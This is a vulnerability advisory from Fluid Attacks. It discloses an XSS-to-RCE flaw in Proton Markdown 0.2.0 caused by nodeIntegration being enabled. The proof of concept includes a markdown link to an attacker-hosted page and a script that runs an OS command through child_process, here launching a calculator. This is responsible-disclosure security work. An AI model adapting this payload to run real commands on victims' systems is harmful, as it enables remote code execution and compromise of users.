Proton v0.2.0 - XSS To RCE

7.1

High

Discovered by 

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Proton v0.2.0 - XSS To RCE

Code name

State

Public

Release date

May 17, 2022

Affected product

Proton Markdown

Affected version(s)

Version 0.2.0

Vulnerability name

XSS to RCE

Remotely exploitable

No

CVSS v3.1 vector string

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

CVSS v3.1 base score

7.1

Exploit available

No

Description

Proton v0.2.0 allows an attacker to create a malicious link inside a markdown file. When the victim clicks the link, the application opens the site in the current frame allowing an attacker to host JavaScript code in the malicious link in order to trigger an XSS attack. The nodeIntegration configuration is set to on which allows the webpage to use NodeJs features, an attacker can leverage this to run OS commands.

Proof of Concept

Steps to reproduce

  1. Create a markdown file with the following content.

    [Click me!!!](http://192.168.1.67:8002/rce.html)
  2. Host the rce.html file with the following content on a server controlled by the attacker.

     <script>
     require('child_process').exec('calc');
     </script>
  3. Send the markdown file to the victim. When the victim clicks the markdown link the site will be open inside electron and the JavaScript code will spawn a calculator.

System Information

  • Version: Proton v0.2.0.

  • Operating System: Windows 10.0.19042 N/A Build 19042.

  • Installer: Proton.Setup.0.2.0.exe

Exploit

There is no exploit for the vulnerability but can be manually exploited.

Mitigation

By 2022-05-17 there is not a patch resolving the issue.

References

Timeline

Vulnerability discovered

Apr 29, 2022

Vendor contacted

Apr 29, 2022

Public disclosure

May 17, 2022

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Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

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